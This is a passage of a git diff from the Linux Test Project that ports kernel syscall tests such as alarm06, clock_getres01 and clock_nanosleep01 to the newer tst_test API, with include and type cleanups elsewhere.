-			 strerror(test_cases[i].exp_errno));
-	}
-}
-
-static void cleanup(void)
-{
-	if (mount_flag && tst_umount(MNT_POINT) < 0) {
-		tst_resm(TWARN | TERRNO,
-			 "umount device:%s failed", device);
-	}
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/add_key/add_key02.c b/testcases/kernel/syscalls/add_key/add_key02.c
index e954575..fc99191 100644
--- a/testcases/kernel/syscalls/add_key/add_key02.c
+++ b/testcases/kernel/syscalls/add_key/add_key02.c
@@ -69,7 +69,7 @@
 }
 
 static struct tst_test test = {
-	.tid = "add_key01",
+	.tid = "add_key02",
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_add_key,
 };
diff --git a/testcases/kernel/syscalls/alarm/alarm06.c b/testcases/kernel/syscalls/alarm/alarm06.c
index e31a834..8634128 100644
--- a/testcases/kernel/syscalls/alarm/alarm06.c
+++ b/testcases/kernel/syscalls/alarm/alarm06.c
@@ -1,25 +1,23 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (C) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * Test Name: alarm06
- *
  * Test Description:
  *  Check the functionality of the Alarm system call when the time input
  *  parameter is zero.
@@ -28,40 +26,8 @@
  *  The previously specified alarm request should be cancelled and the
  *  SIGALRM should not be received.
  *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  alarm06 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
  * HISTORY
  *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
- *
  */
 
 #include <stdio.h>
@@ -71,86 +37,46 @@
 #include <string.h>
 #include <signal.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "alarm06";
-int TST_TOTAL = 1;
-int alarms_received = 0;
+static volatile int alarms_received = 0;
 
-void setup();
-void cleanup();
-void sigproc(int sig);
-
-int main(int ac, char **av)
+static void sigproc(int sig)
 {
-	int lc;
-	int time_sec1 = 10;	/* time for which 1st alarm is set */
-	int time_sec2 = 0;	/* time for which 2nd alarm is set */
-	int ret_val1, ret_val2;	/* return values for alarm() calls */
-	int sleep_time1 = 5;	/* waiting time for the 1st signal */
-	int sleep_time2 = 10;	/* waiting time for the 2nd signal */
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call First alarm() with non-zero time parameter
-		 * 'time_sec1' to send SIGALRM to the calling process.
-		 */
-		TEST(alarm(time_sec1));
-		ret_val1 = TEST_RETURN;
-
-		sleep(sleep_time1);
-
-		TEST(alarm(time_sec2));
-		ret_val2 = TEST_RETURN;
-
-		/* Wait for signal SIGALRM */
-		sleep(sleep_time2);
-
-		/*
-		 * Check whether the second alarm() call returned
-		 * the amount of time (seconds) previously remaining in the
-		 * alarm clock of the calling process, and
-		 * sigproc() never executed as SIGALRM was not received by the
-		 * process, the variable alarms_received remains unset.
-		 */
-		if ((alarms_received == 0) &&
-		    (ret_val2 == (time_sec1 - sleep_time1)))
-			tst_resm(TPASS, "Functionality of alarm(%u) "
-				 "successful", time_sec2);
-		else
-			tst_resm(TFAIL, "alarm(%u) fails, returned %d, "
-				 "alarms_received:%d",
-				 time_sec2, ret_val2, alarms_received);
-	}
-
-	cleanup();
-	tst_exit();
+	if (sig == SIGALRM)
+		alarms_received++;
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Set the signal catching function */
-	if (signal(SIGALRM, sigproc) == SIG_ERR)
-		tst_brkm(TFAIL | TERRNO, cleanup, "signal(SIGALRM, ..) failed");
+	SAFE_SIGNAL(SIGALRM, sigproc);
 }
 
-void sigproc(int sig)
+static void verify_alarm(void)
 {
-	alarms_received++;
+	int ret;
+
+	alarm(2);
+	sleep(1);
+
+	ret = alarm(0);
+
+	/* Wait for signal SIGALRM */
+	sleep(2);
+
+	if (alarms_received)
+		tst_res(TFAIL, "Received %i alarms", alarms_received);
+	else
+		tst_res(TPASS, "Received 0 alarms");
+
+	if (ret == 1)
+		tst_res(TPASS, "alarm(0) returned 1");
+	else
+		tst_res(TFAIL, "alarm(0) returned %i, expected 1", ret);
 }
 
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.tid = "alarm06",
+	.setup = setup,
+	.test_all = verify_alarm,
+};
diff --git a/testcases/kernel/syscalls/bind/bind02.c b/testcases/kernel/syscalls/bind/bind02.c
index 3dc5652..90b0e9d 100644
--- a/testcases/kernel/syscalls/bind/bind02.c
+++ b/testcases/kernel/syscalls/bind/bind02.c
@@ -69,7 +69,6 @@
 
 uid_t uid;
 gid_t gid;
-char nobody_uid[] = "nobody";
 
 int rc;
 
@@ -122,21 +121,12 @@
 
 int main(int argc, char *argv[])
 {
+	char *username = "nobody";
 
-	/* FreeBSD has set limits for user login name -- MAXLOGNAME, but
-	 * Linux doesn't have that limitation apparently. */
-	char *username = NULL;
+	tst_parse_opts(argc, argv, NULL, NULL);
 
 	tst_require_root();
 
-	if (argc != 2) {
-		tst_resm(TINFO, "Defaulting to user nobody");
-		username = strdup(nobody_uid);
-	} else {
-		/* Get test user uid/gid. */
-		username = argv[1];
-	}
-
 	if ((pw = getpwnam(username)) == NULL) {
 		tst_brkm(TBROK, 0, "Username - %s - not found", username);
 	}
diff --git a/testcases/kernel/syscalls/brk/brk01.c b/testcases/kernel/syscalls/brk/brk01.c
index 90171cc..3b38f1e 100644
--- a/testcases/kernel/syscalls/brk/brk01.c
+++ b/testcases/kernel/syscalls/brk/brk01.c
@@ -39,6 +39,8 @@
 #include <signal.h>
 #include <sys/param.h>
 #include <sys/resource.h>
+#include <stdint.h>
+#include <inttypes.h>
 
 #include "test.h"
 
@@ -54,8 +56,8 @@
 char *TCID = "brk01";
 int TST_TOTAL = 1;
 
-long Max_brk_byte_size;
-long Beg_brk_val;
+uintptr_t Max_brk_byte_size;
+uintptr_t Beg_brk_val;
 
 #if !defined(UCLINUX)
 
@@ -63,9 +65,9 @@
 {
 	int lc;
 	int incr;
-	long nbrkpt;		/* new brk point value */
-	long cur_brk_val;	/* current size returned by sbrk */
-	long aft_brk_val;	/* current size returned by sbrk */
+	uintptr_t nbrkpt;		/* new brk point value */
+	uintptr_t cur_brk_val;	/* current size returned by sbrk */
+	uintptr_t aft_brk_val;	/* current size returned by sbrk */
 
 	tst_parse_opts(ac, av, NULL, NULL);
 
@@ -90,7 +92,7 @@
 		 * every odd lc value, strink by one incr.
 		 * If lc is equal to 3, no change, special case.
 		 */
-		cur_brk_val = (long)sbrk(0);
+		cur_brk_val = (uintptr_t)sbrk(0);
 		if (lc == 3) {
 			nbrkpt = cur_brk_val;	/* no change, special one time case */
 		} else if ((lc % 2) == 0) {
@@ -118,21 +120,21 @@
 
 		if (TEST_RETURN == -1) {
 
-			aft_brk_val = (long)sbrk(0);
+			aft_brk_val = (uintptr_t)sbrk(0);
 			tst_resm(TFAIL | TTERRNO,
-				 "brk(%ld) failed (size before %ld, after %ld)",
+				 "brk(%"PRIuPTR") failed (size before %"PRIuPTR", after %"PRIuPTR")",
 				 nbrkpt, cur_brk_val, aft_brk_val);
 
 		} else {
-			aft_brk_val = (long)sbrk(0);
+			aft_brk_val = (uintptr_t)sbrk(0);
 			if (aft_brk_val == nbrkpt) {
 
 				tst_resm(TPASS,
-					 "brk(%ld) returned %ld, new size verified by sbrk",
+					 "brk(%"PRIuPTR") returned %"PRIuPTR", new size verified by sbrk",
 					 nbrkpt, TEST_RETURN);
 			} else {
 				tst_resm(TFAIL,
-					 "brk(%ld) returned %ld, sbrk before %ld, after %ld",
+					 "brk(%"PRIuPTR") returned %"PRIuPTR", sbrk before %"PRIuPTR", after %"PRIuPTR"",
 					 nbrkpt, TEST_RETURN,
 					 cur_brk_val, aft_brk_val);
 			}
@@ -187,7 +189,7 @@
 	if (max_size > (usr_mem_sz / 4))
 		max_size = usr_mem_sz / 4;	/* only fourth mem by single test */
 
-	Beg_brk_val = (long)sbrk(0);
+	Beg_brk_val = (uintptr_t)sbrk(0);
 
 	/*
 	 * allow at least 4 times a big as current.
diff --git a/testcases/kernel/syscalls/chmod/chmod01.c b/testcases/kernel/syscalls/chmod/chmod01.c
index 0616705..9631c92 100644
--- a/testcases/kernel/syscalls/chmod/chmod01.c
+++ b/testcases/kernel/syscalls/chmod/chmod01.c
@@ -70,7 +70,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chmod/chmod02.c b/testcases/kernel/syscalls/chmod/chmod02.c
index ba580cd..94a77ae 100644
--- a/testcases/kernel/syscalls/chmod/chmod02.c
+++ b/testcases/kernel/syscalls/chmod/chmod02.c
@@ -40,7 +40,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chmod/chmod03.c b/testcases/kernel/syscalls/chmod/chmod03.c
index dba868b..47c5c97 100644
--- a/testcases/kernel/syscalls/chmod/chmod03.c
+++ b/testcases/kernel/syscalls/chmod/chmod03.c
@@ -73,7 +73,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chmod/chmod04.c b/testcases/kernel/syscalls/chmod/chmod04.c
index 6e086bf..0392eac 100644
--- a/testcases/kernel/syscalls/chmod/chmod04.c
+++ b/testcases/kernel/syscalls/chmod/chmod04.c
@@ -73,7 +73,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chmod/chmod05.c b/testcases/kernel/syscalls/chmod/chmod05.c
index 4016cc2..7711ac1 100644
--- a/testcases/kernel/syscalls/chmod/chmod05.c
+++ b/testcases/kernel/syscalls/chmod/chmod05.c
@@ -88,7 +88,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chmod/chmod07.c b/testcases/kernel/syscalls/chmod/chmod07.c
index 52687ac..b415944 100644
--- a/testcases/kernel/syscalls/chmod/chmod07.c
+++ b/testcases/kernel/syscalls/chmod/chmod07.c
@@ -73,7 +73,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chown/chown01.c b/testcases/kernel/syscalls/chown/chown01.c
index f90de4b..2e42153 100644
--- a/testcases/kernel/syscalls/chown/chown01.c
+++ b/testcases/kernel/syscalls/chown/chown01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chown/chown02.c b/testcases/kernel/syscalls/chown/chown02.c
index 3c611c8..227986e 100644
--- a/testcases/kernel/syscalls/chown/chown02.c
+++ b/testcases/kernel/syscalls/chown/chown02.c
@@ -72,7 +72,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chown/chown03.c b/testcases/kernel/syscalls/chown/chown03.c
index 107896c..fdf4001 100644
--- a/testcases/kernel/syscalls/chown/chown03.c
+++ b/testcases/kernel/syscalls/chown/chown03.c
@@ -73,7 +73,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/chown/chown05.c b/testcases/kernel/syscalls/chown/chown05.c
index 3f96073..51a7fc0 100644
--- a/testcases/kernel/syscalls/chown/chown05.c
+++ b/testcases/kernel/syscalls/chown/chown05.c
@@ -70,7 +70,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/clock_getres/clock_getres01.c b/testcases/kernel/syscalls/clock_getres/clock_getres01.c
index dff456c..91a30be 100644
--- a/testcases/kernel/syscalls/clock_getres/clock_getres01.c
+++ b/testcases/kernel/syscalls/clock_getres/clock_getres01.c
@@ -27,106 +27,60 @@
  * Description: This tests the clock_getres() syscall
  */
 
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <getopt.h>
-#include <string.h>
-#include <stdlib.h>
-#include <libgen.h>
 #include <errno.h>
-#include <stdio.h>
-#include <time.h>
-#include "config.h"
-#include "include_j_h.h"
 
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/posix_clocks.h"
 
-#define NORMAL		1
-#define NULL_POINTER	0
+static struct timespec res;
 
 static struct test_case {
 	char *name;
 	clockid_t clk_id;
-	int ttype;
+	struct timespec *res;
 	int ret;
 	int err;
 } tcase[] = {
-	{"REALTIME", CLOCK_REALTIME, NORMAL, 0, 0},
-	{"MONOTONIC", CLOCK_MONOTONIC, NORMAL, 0, 0},
-	{"PROCESS_CPUTIME_ID", CLOCK_PROCESS_CPUTIME_ID, NORMAL, 0, 0},
-	{"THREAD_CPUTIME_ID", CLOCK_THREAD_CPUTIME_ID, NORMAL, 0, 0},
-	{"REALTIME", CLOCK_REALTIME, NULL_POINTER, 0, 0},
-	{"CLOCK_MONOTONIC_RAW", CLOCK_MONOTONIC_RAW, NORMAL, 0, 0,},
-	{"CLOCK_REALTIME_COARSE", CLOCK_REALTIME_COARSE, NORMAL, 0, 0,},
-	{"CLOCK_MONOTONIC_COARSE", CLOCK_MONOTONIC_COARSE, NORMAL, 0, 0,},
-	{"CLOCK_BOOTTIME", CLOCK_BOOTTIME, NORMAL, 0, 0,},
-	{"CLOCK_REALTIME_ALARM", CLOCK_REALTIME_ALARM, NORMAL, 0, 0,},
-	{"CLOCK_BOOTTIME_ALARM", CLOCK_BOOTTIME_ALARM, NORMAL, 0, 0,},
-	{"-1", -1, NORMAL, -1, EINVAL},
+	{"REALTIME", CLOCK_REALTIME, &res, 0, 0},
+	{"MONOTONIC", CLOCK_MONOTONIC, &res, 0, 0},
+	{"PROCESS_CPUTIME_ID", CLOCK_PROCESS_CPUTIME_ID, &res, 0, 0},
+	{"THREAD_CPUTIME_ID", CLOCK_THREAD_CPUTIME_ID, &res, 0, 0},
+	{"REALTIME", CLOCK_REALTIME, NULL, 0, 0},
+	{"CLOCK_MONOTONIC_RAW", CLOCK_MONOTONIC_RAW, &res, 0, 0,},
+	{"CLOCK_REALTIME_COARSE", CLOCK_REALTIME_COARSE, &res, 0, 0,},
+	{"CLOCK_MONOTONIC_COARSE", CLOCK_MONOTONIC_COARSE, &res, 0, 0,},
+	{"CLOCK_BOOTTIME", CLOCK_BOOTTIME, &res, 0, 0,},
+	{"CLOCK_REALTIME_ALARM", CLOCK_REALTIME_ALARM, &res, 0, 0,},
+	{"CLOCK_BOOTTIME_ALARM", CLOCK_BOOTTIME_ALARM, &res, 0, 0,},
+	{"-1", -1, &res, -1, EINVAL},
 };
 
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "clock_getres01";
-int TST_TOTAL = ARRAY_SIZE(tcase);
-
-int main(int ac, char **av)
+static void do_test(unsigned int i)
 {
-	int i;
-	int lc;
-	struct timespec res;
+	TEST(clock_getres(tcase[i].clk_id, tcase[i].res));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-			if (tcase[i].ttype == NULL_POINTER)
-				TEST(clock_getres(tcase[i].clk_id, NULL));
-			else
-				TEST(clock_getres(tcase[i].clk_id, &res));
-
-			if (TEST_RETURN != tcase[i].ret) {
-				if (TEST_ERRNO != EINVAL) {
-					tst_resm(TFAIL | TTERRNO,
-						 "clock_getres %s failed",
-						 tcase[i].name);
-				} else {
-					tst_resm(TCONF,
-						 "clock_getres %s NO SUPPORTED",
-						 tcase[i].name);
-				}
-			} else {
-				if (TEST_ERRNO != tcase[i].err) {
-					tst_resm(TFAIL,
-						 "clock_getres %s failed with "
-						 "unexpect errno: %d",
-						 tcase[i].name, TEST_ERRNO);
-				} else {
-					tst_resm(TPASS,
-						 "clock_getres %s succeeded",
-						 tcase[i].name);
-				}
-			}
-
+	if (TEST_RETURN != tcase[i].ret) {
+		if (TEST_ERRNO == EINVAL) {
+			tst_res(TCONF, "clock_getres(%s, ...) NO SUPPORTED", tcase[i].name);
+			return;
 		}
+
+		tst_res(TFAIL | TTERRNO, "clock_getres(%s, ...) failed", tcase[i].name);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_ERRNO != tcase[i].err) {
+		tst_res(TFAIL,
+			"clock_getres(%s, ...) failed unexpectedly: %s, expected: %s",
+			tcase[i].name, tst_strerrno(TEST_ERRNO), tst_strerrno(tcase[i].err));
+		return;
+	}
+
+	tst_res(TPASS, "clock_getres(%s, ...) succeeded", tcase[i].name);
 }
 
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.tid = "clock_getres01",
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(tcase),
+};
diff --git a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
index 08c1fbd..f64378c 100644
--- a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
+++ b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
@@ -1,405 +1,186 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd		*/
-/*	  Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,	      */
-/*		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>, 	      */
-/*		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>	      */
-/*								  	      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	  */
-/* (at your option) any later version.					*/
-/*									    */
-/* This program is distributed in the hope that it will be useful,	    */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	    */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		  */
-/* the GNU General Public License for more details.			   */
-/*									    */
-/* You should have received a copy of the GNU General Public License	  */
-/* along with this program;  if not, write to the Free Software	       */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									    */
-/******************************************************************************/
-/******************************************************************************/
-/*									    */
-/* File:	clock_nanosleep01.c					   */
-/*									    */
-/* Description: This tests the clock_nanosleep() syscall		      */
-/*									      */
-/* 									      */
-/*									      */
-/*									      */
-/*									      */
-/*									    */
-/* Usage:  <for command-line>						 */
-/* clock_nanosleep01 [-c n] [-e][-i n] [-I x] [-p x] [-t]		     */
-/*      where,  -c n : Run n copies concurrently.			     */
-/*	      -e   : Turn on errno logging.				 */
-/*	      -i n : Execute test n times.				  */
-/*	      -I x : Execute test for x seconds.			    */
-/*	      -P x : Pause for x seconds between iterations.		*/
-/*	      -t   : Turn on syscall timing.				*/
-/*									    */
-/* Total Tests: 1							     */
-/*									    */
-/* Test Name:   clock_nanosleep01					     */
-/* History:     Porting from Crackerjack to LTP is done by		    */
-/*	      Manas Kumar Nayak maknayak@in.ibm.com>			*/
-/******************************************************************************/
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <getopt.h>
-#include <string.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <stdio.h>
-#include <time.h>
-#include <signal.h>
-#include "../utils/common_j_h.c"
-#include "../utils/include_j_h.h"
+/*
+ * Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd
+ *          Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,
+ *		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>,
+ *		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
 
-#include "test.h"
+#include <limits.h>
+
 #include "linux_syscall_numbers.h"
+#include "tst_sig_proc.h"
+#include "tst_timer.h"
+#include "tst_test.h"
 
-char *TCID = "clock_nanosleep01";
-int testno;
-int TST_TOTAL = 1;
-struct sigaction act;
+#define MAX_MSEC_DIFF   20
 
-/*
- * sighandler()
- */
-void sighandler(int sig)
+static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
 {
-	if (sig == SIGINT)
-		return;
-
-	return;
 }
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    cleanup						       */
-/*									    */
-/* Description: Performs all one time clean up for this test on successful    */
-/*	      completion,  premature exit or  failure. Closes all temporary */
-/*	      files, removes all temporary directories exits the test with  */
-/*	      appropriate return code by calling tst_exit() function.       */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*	      On success - Exits calling tst_exit(). With '0' return code.  */
-/*									    */
-/******************************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
-
-/* Local  Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    setup							 */
-/*									    */
-/* Description: Performs all one time setup for this test. This function is   */
-/*	      typically used to capture signals, create temporary dirs      */
-/*	      and temporary files that may be used in the course of this    */
-/*	      test.							 */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits by calling cleanup().		      */
-/*	      On success - returns 0.				       */
-/*									    */
-/******************************************************************************/
-void setup(void)
-{
-	/* Capture signals if any */
-	act.sa_handler = sighandler;
-	sigfillset(&act.sa_mask);
-	sigaction(SIGINT, &act, NULL);
-
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-/*
- * Macros
- */
-#define SYSCALL_NAME    "clock_nanosleep"
-
 enum test_type {
 	NORMAL,
-	NULL_POINTER,
 	SEND_SIGINT,
 };
 
-/*
- * Data Structure
- */
+#define TYPE_NAME(x) .ttype = x, .desc = #x
+
 struct test_case {
-	clockid_t clk_id;
-	int ttype;
-	int flags;
-	time_t sec;
-	long nsec;
-	int ret;
-	int err;
+	clockid_t clk_id;	   /* clock_* clock type parameter */
+	int ttype;		   /* test type (enum) */
+	const char *desc;	   /* test description (name) */
+	int flags;		   /* clock_nanosleep flags parameter */
+	struct timespec rq;
+	int exp_ret;
+	int exp_err;
 };
 
-/* Test cases
- *
+/*
  *   test status of errors on man page
- *
  *   EINTR	      v (function was interrupted by a signal)
  *   EINVAL	     v (invalid tv_nsec, etc.)
- *   ENOTSUP	    can't check because not supported clk_id generates
- *		      EINVAL
  */
 
 static struct test_case tcase[] = {
-	{			// case00
-	 .clk_id = CLOCK_REALTIME,
-	 .ttype = NORMAL,
-	 .flags = 0,
-	 .sec = 0,
-	 .nsec = 500000000,	// 500msec
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case01
-	 .clk_id = CLOCK_MONOTONIC,
-	 .ttype = NORMAL,
-	 .flags = 0,
-	 .sec = 0,
-	 .nsec = 500000000,	// 500msec
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case02
-	 .ttype = NORMAL,
-	 .clk_id = CLOCK_REALTIME,
-	 .flags = 0,
-	 .sec = 0,
-	 .nsec = -1,		// invalid
-	 .ret = EINVAL,
-	 .err = 0,
-	 },
-	{			// case03
-	 .ttype = NORMAL,
-	 .clk_id = CLOCK_REALTIME,
-	 .flags = 0,
-	 .sec = 0,
-	 .nsec = 1000000000,	// invalid
-	 .ret = EINVAL,
-	 .err = 0,
-	 },
-	{			// case04
-	 .ttype = NORMAL,
-	 .clk_id = CLOCK_THREAD_CPUTIME_ID,	// not supported
-	 .flags = 0,
-	 .sec = 0,
-	 .nsec = 500000000,	// 500msec
-	 .ret = EINVAL,		// RHEL4U1 + 2.6.18 returns EINVAL
-	 .err = 0,
-	 },
-	{			// case05
-	 .ttype = SEND_SIGINT,
-	 .clk_id = CLOCK_REALTIME,
-	 .flags = 0,
-	 .sec = 10,
-	 .nsec = 0,
-	 .ret = EINTR,
-	 .err = 0,
-	 },
-#if 0				// glibc generates SEGV error (RHEL4U1 + 2.6.18)
-	{			// caseXX
-	 .ttype = NULL_POINTER,
-	 .clk_id = CLOCK_REALTIME,
-	 .flags = 0,
-	 .sec = 0,
-	 .nsec = 500000000,	// 500msec
-	 .ret = EFAULT,
-	 .err = 0,
-	 },
-#endif
+	{
+		.clk_id = CLOCK_REALTIME,
+		TYPE_NAME(NORMAL),
+		.flags = 0,
+		.rq = (struct timespec) {.tv_sec = 0, .tv_nsec = 500000000},
+		.exp_ret = 0,
+		.exp_err = 0,
+	},
+	{
+		.clk_id = CLOCK_MONOTONIC,
+		TYPE_NAME(NORMAL),
+		.flags = 0,
+		.rq = (struct timespec) {.tv_sec = 0, .tv_nsec = 500000000},
+		.exp_ret = 0,
+		.exp_err = 0,
+	},
+	{
+		TYPE_NAME(NORMAL),
+		.clk_id = CLOCK_REALTIME,
+		.flags = 0,
+		.rq = (struct timespec) {.tv_sec = 0, .tv_nsec = -1},
+		.exp_ret = EINVAL,
+		.exp_err = 0,
+	},
+	{
+		TYPE_NAME(NORMAL),
+		.clk_id = CLOCK_REALTIME,
+		.flags = 0,
+		.rq = (struct timespec) {.tv_sec = 0, .tv_nsec = 1000000000},
+		.exp_ret = EINVAL,
+		.exp_err = 0,
+	},
+	{
+		TYPE_NAME(NORMAL),
+		.clk_id = CLOCK_THREAD_CPUTIME_ID,
+		.flags = 0,
+		.rq = (struct timespec) {.tv_sec = 0, .tv_nsec = 500000000},
+		.exp_ret = EINVAL,
+		.exp_err = 0,
+	},
+	{
+		TYPE_NAME(SEND_SIGINT),
+		.clk_id = CLOCK_REALTIME,
+		.flags = 0,
+		.rq = (struct timespec) {.tv_sec = 10, .tv_nsec = 0},
+		.exp_ret = EINTR,
+		.exp_err = 0,
+	},
 };
 
-/*
- * chk_difftime()
- *   Return : OK(0), NG(-1)
- */
-#define MAX_MSEC_DIFF   20
-
-static int chk_difftime(struct timespec *bef, struct timespec *aft,
-			time_t sec, long nsec)
+void setup(void)
 {
-	struct timespec t;
